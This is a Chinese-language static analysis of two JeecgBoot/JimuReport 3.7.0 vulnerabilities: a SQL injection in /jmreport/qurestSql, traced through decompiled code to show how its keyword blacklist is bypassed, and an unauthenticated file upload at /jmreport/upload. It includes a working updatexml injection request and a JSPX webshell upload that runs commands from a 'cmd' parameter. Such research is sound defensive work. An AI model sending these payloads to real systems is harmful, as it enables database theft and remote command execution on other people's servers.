前言
本文主要是对于漏洞的静态分析,而不是动态复现,漏洞分析的版本为3.7.0
SQL注入漏洞
漏洞路由为/jeecg-boot/jmreport/qurestSql

一开始在网上看到的poc写的说可用版本是3.4.3到3.8.1之间,还是get传参

一看源码就知道这公开的poc可用版本肯定是写错了,虽然该接口是post传参的,我们依旧跟进JmReportDb var4 = this.reportDbService.getById(var3);,看看这行代码是起到了什么作用

可以知道主要作用是根据ID去数据库中查询报表配置(JmReportDb对象),里面包含了原始的SQL模板
后面又去网上溜了一圈,找到了对应的poc,后面的分析也主要根据该poc进行分析
1 2 3 4 5 6 7 8 9 10
| POST /jeecg-boot/jmreport/qurestSql HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) Accept-Encoding: gzip, deflate Accept: */* Connection: close Host: Content-Type: application/json Content-Length: 126
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}
|
首先一样根据apiSelectId查找对应的报表配置,我们从表中可以得到对应的SQL模板为select * from rep_demo_employee where id='${id}'

往下走,跟进List var5 = this.reportDbService.qurestechSql(var4, var1);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public List<Map<String, Object>> qurestechSql(JmReportDb jmReportDb, JSONObject paramObject) { if (jmReportDb == null) return null; String var3 = jmReportDb.getDbDynSql(); List var4 = this.dbParamDao.list(jmReportDb.getId()); JSONObject var5 = new JSONObject(); Iterator var6 = var4.iterator(); while(var6.hasNext()) { JmReportDbParam var7 = (JmReportDbParam)var6.next(); if (j.d((Object)var7.getParamValue())) { var5.put(var7.getParamName(), var7.getParamValue()); } } var5.putAll(paramObject); HashMap var8 = new HashMap(); String var9 = jmReportDb.getDbSource(); String var10 = j.c((Object)var9) ? "minidao" : "jdbc"; String var11 = this.jimuReportService.getDbSql(jmReportDb, var5, var14, new ArrayList(), "", var8, var10); String var12 = h.e(var11); if (j.d((Object)var12)) { return this.jmreportDynamicDbUtil.c(var9, var12, (Map)var8); } else if (this.jmReportDbSourceService.isNoSql(var9)) { return this.jmreportNoSqlService.findList(var11, var9); } else if (j.c((Object)jmReportDb.getDbSource())) { return this.reportDbDao.selectListBySql(var11, var8); } else { return this.jmreportDynamicDbUtil.b(jmReportDb.getDbSource(), var11, (Map)var8); } }
|
主要功能就是处理报表的参数合并,并调度生成最终SQL和执行查询
List var4 = this.dbParamDao.list(jmReportDb.getId());该行代码会查出apiSelectId对应的参数是多少,并在下面的代码中赋默认值进去

里面有一行代码比较关键,即var5.putAll(paramObject); ,通过这行代码,要是用户传了同名参数,会覆盖系统的默认值
往下走,走到String var11 = this.jimuReportService.getDbSql(jmReportDb, var5, var14, new ArrayList(), "", var8, var10);,主要作用是生成要执行的sql语句,我们跟进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public String getDbSql(JmReportDb reportDb, JSONObject paramObject, JSONObject paramJson, List<JmExpression> expList, String groupField, Map<String, Object> sqlParamsMap, String dbParamType) { String var8 = this.getBaseSql(reportDb, paramObject, sqlParamsMap, dbParamType); m.a(var8); String var9 = this.a(reportDb, paramJson, sqlParamsMap, dbParamType); this.a(reportDb, var8, var9, expList, sqlParamsMap); String var10 = null; boolean var11 = this.jmReportDbSourceService.isNoSql(reportDb.getDbSource()); boolean var12 = org.jeecg.modules.jmreport.common.util.j.d(org.jeecg.modules.jmreport.desreport.util.h.e(var8)); if (org.jeecg.modules.jmreport.common.util.j.d(groupField) && !var12 && !var11) { String[] var13 = groupField.split("\\."); byte var14 = 2; if (var13.length == var14 && reportDb.getDbCode().equals(var13[0])) { var10 = var13[1]; } } String var15 = this.a(var8, var9, var10); return var15; }
|
看得出来最重要的代码就是头两行,一个是获取到基础的sql语句,还有一个就是进行安全检查
我们先跟进String var8 = this.getBaseSql(reportDb, paramObject, sqlParamsMap, dbParamType);
该方法的代码量太多了,这里就不贴了,贴个ai的解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public String getBaseSql(JmReportDb jmReportDb, JSONObject paramJson, Map<String, Object> sqlParamsMap, String dbParamType) { String var7 = jmReportDb.getDbDynSql(); JSONObject var9 = new JSONObject(); var9.putAll(paramJson); HashMap var20 = new HashMap(5); Iterator var21 = var9.keySet().iterator(); while(var21.hasNext()) { var14 = (String)var21.next(); var15 = var9.getString(var14); var20.put(var14, var15); boolean var24 = s.a(j.a(var14, ""), var7); if (var24 && j.d((Object)var15)) { m.a(var15); } } var7 = FreeMarkerUtils.a(var7, (Map)var20); return var7; }
|
该方法中哪一段代码是可以将我们的json传参值给赋值进去的呢,主要是下面这一段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| if (var7.contains("where")) { List var11 = this.dbParamDao.list(var5); if (var11 != null || var11.size() > 0) { Iterator var12 = var11.iterator(); while(var12.hasNext()) { JmReportDbParam var13 = (JmReportDbParam)var12.next(); String var14 = var13.getParamName(); Object var22; if (var13.getSearchFlag() == 1) { var22 = paramJson.get(var13.getParamName()); if (var22 == null) var22 = ""; var9.put(var14, var22); paramJson.remove(var14); } else { var9.put(var14, var13.getParamValue()); var22 = var13.getParamValue(); }
|
这部分首先获取了数据库中的 SQL 模板。然后遍历了这个报表原本设定好的参数(dbParamDao.list),对于设定中允许从外部获取的字段,就尝试从 paramJson(用户的外层传参)里面取,并将这些合法存在定义里的参数放进 var9,然后从 paramJson 中 remove 掉这些已经被处理的定义内参数。
该方法往下走会有一段检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| HashMap var20 = new HashMap(5); Iterator var21 = var9.keySet().iterator();
while(var21.hasNext()) { String var14 = (String)var21.next(); String var15 = var9.getString(var14); if (j.c((Object)var15)) var15 = "";
var15 = ExpressUtil.a((String)var15, (Map)null); var20.put(var14, var15); boolean var24 = s.a(j.a(var14, ""), var7); if (sqlParamsMap.containsKey(var14) && !var24 && j.d((Object)var15)) { if (var10.contains(var14)) { sqlParamsMap.put(var14, h.n(var15)); } else { sqlParamsMap.put(var14, var15); } } if (var24 && j.d((Object)var15)) { m.a(var15); } }
|
而我们看最上面通过apiSelectId查询出来的sql语句select * from rep_demo_employee where id='${id}',在这么写的情况下var24就是被赋值为false,也就不会执行getBaseSql方法里面的m.a检测了
在该方法的末尾会进行FreeMarker渲染一手
1 2
| var7 = FreeMarkerUtils.a(var7, (Map)var20); return var7;
|
FreeMarkerUtils.a 的本质就是文本替换(非预编译)。它会在 var7 这个 SQL 字符串中寻找 ${攻击的字段} 的占位符,然后直接硬拼接入 var20 里的恶意值,最后将总的sql字符串返回
走回到getDbSql方法里面,接下来就是要进行m.a方法的安全性校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public static void a(String var0) { String[] var1 = "exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |alter |delete |grant |update |drop |master |truncate |declare |--|".split("\\|"); if (var0 != null && !"".equals(var0)) { b(var0); var0 = var0.toLowerCase(); if (!e(var0)) { var0 = var0.replaceAll("/\\*.*\\*/", "");
for(int var2 = 0; var2 < var1.length; ++var2) { if (a(var0, var1[var2])) { b.error("请注意,存在SQL注入关键词---> {}", var1[var2]); b.error("请注意,值可能存在SQL注入风险!---> {}", var0); throw new JimuReportException(1001, "请注意,值可能存在SQL注入风险!--->" + var0); } }
String[] var7 = e; int var3 = var7.length;
for(int var4 = 0; var4 < var3; ++var4) { String var5 = var7[var4]; String var6 = ".*" + var5 + ".*"; if (Pattern.matches(var6, var0)) { b.error("请注意,存在SQL注入关键词---> {}", var5); b.error("请注意,值可能存在SQL注入风险!---> {}", var0); throw new RuntimeException("请注意,值可能存在SQL注入风险!--->" + var0); } }
} } }
|
该方法的黑名单中我们可以明确地看到updatexml位于其中,那么我们是怎么绕过的呢
往下走有进行一个if从句的判断,只有当e(var0)返回false的时候才会开始一系列的关键词检测,所以我们先看看e方法是做了什么
1 2 3 4 5
| private static boolean e(String var0) { return Arrays.stream(org.jeecg.modules.jmreport.dyndb.util.b.getAllSql()).anyMatch((var1) -> { return var1.toLowerCase().equals(var0); }); }
|
遍历 getAllSql() 里面所有的项,如果和当前的整句 SQL (var0) 一模一样,就返回 true;如果输入的 SQL 不是系统预留的标准系统 SQL那么就是返回false,所以我们肯定会走进去
里面进行判断的关键代码就是a(var0, var1[var2]),跟进查看具体代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| private static boolean a(String var0, String var1) { if (var0.startsWith(var1.trim())) { return true; } else if (var0.contains(var1)) { String var2 = " " + var1; if (d.contains(var1)) { var2 = var1; }
if (var0.contains(var2)) { return true; } else { String var3 = "\\s+\\S+" + var1; List var4 = (List)org.jeecg.modules.jmreport.common.util.d.a((String)var3, var0, 0, new ArrayList()); Iterator var5 = var4.iterator(); String var6; do { if (!var5.hasNext()) { return false; } var6 = (String)var5.next(); } while(!var6.contains("%") && !var6.contains("+") && !var6.contains("#") && !var6.contains("/") && !var6.contains(")")); return true; } } else { return false; } }
|
首先进行检测的是我们的恶意sql语句中是否包含" updatexml",但我们的是" (updatexml",所以是进入else分支中
String var3 = "\\s+\\S+" + var1;: \s+ 匹配一个或多个空白字符;\S+ 匹配一个或多个非空白字符;所以该正则找的就是:**[空白字符] + [非空白字符] + “updatexml”**
正则表达式是可以匹配到内容的,提取出的 var4 列表中包含一个元素:" (updatexml"
开始进入do-while循环中,返回false回去,继续往下走,下面进行的关键词检测我们的poc完全没有,所以最后就顺利地通过了m.a的sql注入检测
最后在getDbSql方法中看是否还有其他条件没有添加进来的进行一个操作,最后返回已经存在了注入语句的完整sql语句回去
最后的最后会回到qurestechSql方法中,一直往下走会执行该sql语句,造成sql注入漏洞
/jmreport/upload 未授权任意文件上传漏洞分析
认证状态
Shiro 层:
ShiroConfig.java 第 123 行 /jmreport/** → anon,Shiro 不拦截。
应用层拦截器:
JimuReportConfiguration.java 第 55 行注册了 JimuReportTokenInterceptor,但 /jmreport/upload 不在拦截器的 addPathPatterns 列表中(第 47 行只拦截了 queryFieldBySql、loadTableData、dictCodeSearch、testConnection)。
结论:完全无需认证即可上传文件。
完整数据流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| POST /jmreport/upload
Content-Type: multipart/form-data
Body: file=@malicious.file & bizType=local ① 请求到达控制器 a.java 第 447 行
MultipartFile var5 = var4.getFile("file");
│
▼
② 文件类型校验 (c.a(var5)) ← desreport/util/c.java 第 19 行
│
│ 读取文件前 10 字节 → 转 hex → 与 magic bytes 比对:
│ "3c25402070616765206c" → jsp (<%@ page l)
│ "3c3f7068700a0a2f2a2a0a202a205048" → php (<?php)
│ "3c21444f435459504520" → html (<!DOCTYPE)
│
│ 黑名单: private static String[] c = {"jsp", "php", "html"};
│
│ ⬇ 如果 magic bytes 不匹配上述三种 → 校验通过!
│
▼
③ 获取 bizType 参数,决定存储方式
│ "alioss" → OSS
│ "minio" → MinIO
│ "local" → 本地文件系统
│ (以 local 为例)
▼
④ 私有方法 a(MultipartFile, String) ← 第 1085 行
│
│ 路径穿越检查: var2.contains("../") || var2.contains("..\\")
│ (仅检查第二参数 bizPath="jimureport",硬编码的,不可控)
│
│ 获取原始文件名: var1.getOriginalFilename()
│ 拼接文件名: 原始名 + "_" + 时间戳 + 后缀
│ 存储路径: uploadPath/jimureport/filename_timestamp.ext
│
│ FileCopyUtils.copy(var1.getBytes(), new File(filePath))
│ ← 文件直接写入磁盘!
│
▼
⑤ 返回文件相对路径 → 可通过 /jmreport/img/** (anon) 访问
|
黑名单过滤的致命缺陷
c.java 的文件类型校验有三个严重问题:
问题 1:黑名单太短,仅拦截 3 种
1
| private static String[] c = new String[]{"jsp", "php", "html"};
|
未拦截的危险文件类型:
| 文件类型 |
风险 |
.jspx |
JSP 变体,Tomcat 同样执行 |
.war |
Web 应用归档包 |
.class |
Java 字节码 |
.jar |
可被反序列化利用 |
.sh / .bat |
脚本文件 |
.xml |
Spring 配置文件注入 |
.svg |
含 JavaScript 的 SVG 可导致 XSS |
问题 2:Magic bytes 检测可绕过
检测逻辑只读取前 10 字节与 HashMap 中 3 组 magic bytes 比对。如果文件前 10 字节不匹配这三种模式,就回退到文件扩展名判断(第 61-69 行):
1 2 3 4 5
| if (StringUtils.isBlank(var1)) { var6 = var0.getOriginalFilename(); var7 = b(var6); return var7; }
|
然后用返回的扩展名去跟黑名单 {"jsp", "php", "html"} 比较。但比较逻辑是:
1
| if (var5.contains(var1)) // var5 是黑名单项,var1 是检测到的类型
|
注意方向反了! 是 "jsp".contains(检测结果),不是 检测结果.contains("jsp")。所以如果文件扩展名是 .jspx,"jsp".contains("jspx") 返回 false → 绕过。
更关键的是:如果构造一个 JSP 文件但修改前 10 字节使其不匹配 3c25402070616765206c(即不以 <%@ page l 开头),magic bytes 匹配失败,就走扩展名检测分支。此时 JSP 文件也可能被绕过。
问题 3:异常时直接返回空字符串
1 2 3 4 5
| } catch (Exception var11) { b.error(var11.getMessage(), var11); var4 = ""; return var4; }
|
如果文件读取过程中发生异常(如文件流为空),直接返回 ""。空字符串与任何黑名单项 contains 比较都返回 true("jsp".contains("") == true),所以这个分支反而会拦截。但如果能触发特殊异常导致返回其他值,则可能绕过。
具体利用 —— 上传 JSPX Webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /jmreport/upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.jspx" Content-Type: application/xml
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:directive.page contentType="text/html"/> <jsp:declaration> </jsp:declaration> <jsp:scriptlet> Runtime rt = Runtime.getRuntime(); String cmd = request.getParameter("cmd"); Process p = rt.exec(cmd); // ... 输出结果 </jsp:scriptlet> </jsp:root> ------WebKitFormBoundary--
|
分析流程:
- 前 10 字节 hex:
3c6a73703a726f6f7420 ← 这是 <jsp:root 的 hex
- 与 HashMap 中的 3 个 key 比对 → 不匹配任何一个
- 回退到扩展名提取 → 得到
jspx
- 黑名单比对:
"jsp".contains("jspx") → false,"php".contains("jspx") → false,"html".contains("jspx") → false
- 校验通过 ✅
- 文件保存到
uploadPath/jimureport/shell_1710000000000.jspx
但能否执行取决于部署方式: 如果上传目录在 Tomcat 的 webapp 路径下且配置了 JSP Servlet 处理 .jspx,则可以 RCE。如果上传目录是独立的静态文件目录,则 .jspx 不会被执行,但文件仍被写入服务器。
总结
| 维度 |
评估 |
| 认证 |
❌ 完全无需认证 |
| 文件类型校验 |
❌ 黑名单仅 3 种且可绕过(jspx、war 等不在黑名单) |
| Magic bytes 检测 |
❌ 仅检测 3 种 magic bytes,覆盖率极低 |
| 路径穿越 |
✅ bizPath 硬编码为 “jimureport”,不可控 |
| 文件名 |
⚠️ 保留原始扩展名,但拼接了时间戳 |
| 严重程度 |
高(无需认证 + 可上传危险文件类型 = 潜在 RCE) |
核心根因: Shiro 对 /jmreport/** 全部放行 + 应用层拦截器未覆盖 /jmreport/upload + 文件类型黑名单过于简陋。